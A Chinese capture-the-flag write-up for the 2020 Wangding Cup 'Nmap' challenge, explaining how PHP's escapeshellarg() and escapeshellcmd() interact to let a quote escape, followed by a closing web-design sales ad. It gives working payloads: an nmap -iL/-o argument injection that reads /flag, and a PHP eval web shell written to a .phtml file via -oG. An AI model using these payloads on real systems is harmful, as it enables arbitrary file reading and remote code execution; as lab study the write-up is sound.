[网鼎杯 2020 朱雀组]Nmap 1
2026/6/12 12:38:12 网站建设 项目流程

Nmap 相关参数

-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件
举例

nmap -iL ip_target.txt -o result.txt

扫描ip_target.txt内包含的ip地址,输出扫描结果至result.txt
读取文件结果

# Nmap 6.47 scan initiated Fri Dec 24 06:48:23 2021 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/a9950 -iL /flag -o 22' 127.0.0.1\ Failed to resolve "flag{c5e95c66-f441-496b-ac27-699ea43d5c32}". WARNING: No targets were specified, so 0 hosts scanned. # Nmap done at Fri Dec 24 06:48:23 2021 -- 0 IP addresses (0 hosts up) scanned in 0.11 seconds

会提示搜索内容失败,然后会写出来内容是啥,从而实现任意文件读取。

escapeshell

分为excapeshellarg()和escapeshellcmd()两个函数

escapeshellarg()

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,保证其作为参数的安全性。


用转义符转义所有单引号,然后用单引号包裹,如

123' aa

经过escapeshellarg,先转义单引号

123\' aa

再用单引号包裹

123'\'' aa

最后,escapeshellarg会将整个字符串用单引号包裹,让字符串变成这样

'123'\'' aa'

escapeshellcmd()

escapeshellcmd - 把字符串中可能欺骗shell命令的字符转义, 用以保证送到system函数或者exec函数的字符串是安全的。


可以看到,不光这些字符,转义符本身还有落单的引号也会被转义。
这个时候,我们把传入escapeshellarg的字符串拿过来,在经过这个函数的处理。

'123'\'' aa'

转义后

'123'\\'' aa\'

因为转义符被转义,最后的引号便落单,逃逸了出去。这个时候,被输入的字符串不再被当成单个参数处理(不再有引号包裹), 即逃出了这两个函数。

题目

输入127.0.0.1后如此回显

结合题目nmap

猜测将命令插在nmap命令中

127.0.0.1 -iL / flag -o 111

报错了,这里看wp得知要绕过

换用pyload

127.0.0.1' -iL /flag -o 111

这里要查看111'文件才行

具体

https://www.cnblogs.com/AikN/p/15727575.html

这里还可以写木马进去

' <?= @eval($_POST["pd"]);?> -oG pd.phtml '

写进去访问,连接蚁剑

https://www.cnblogs.com/buchuo/p/13614498.html

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询